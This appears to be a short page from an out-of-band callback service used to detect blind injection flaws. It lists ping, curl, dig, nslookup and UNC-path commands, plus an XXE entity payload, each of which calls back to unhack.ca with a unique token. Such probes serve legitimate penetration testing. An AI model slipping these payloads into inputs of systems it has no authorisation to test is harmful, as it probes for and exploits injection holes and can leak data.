$ ping -c1 -p 001b102756dc9461d017ec0fa1af4f00 unhack.ca
 
$ curl http://unhack.ca/p/1b102756dc9461d017ec0fa1af4f
 
$ dig 1b102756dc9461d017ec0fa1af4f @unhack.ca
 
$ dig 1b102756dc9461d017ec0fa1af4f.ns.unhack.ca
 
C:\> nslookup 1b102756dc9461d017ec0fa1af4f unhack.ca
 
C:\> type \\unhack.ca\1b102756dc9461d017ec0fa1af4f\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1b102756dc9461d017ec0fa1af4f">]>
    <foo>&xxe;</foo>
 
Waiting for ping...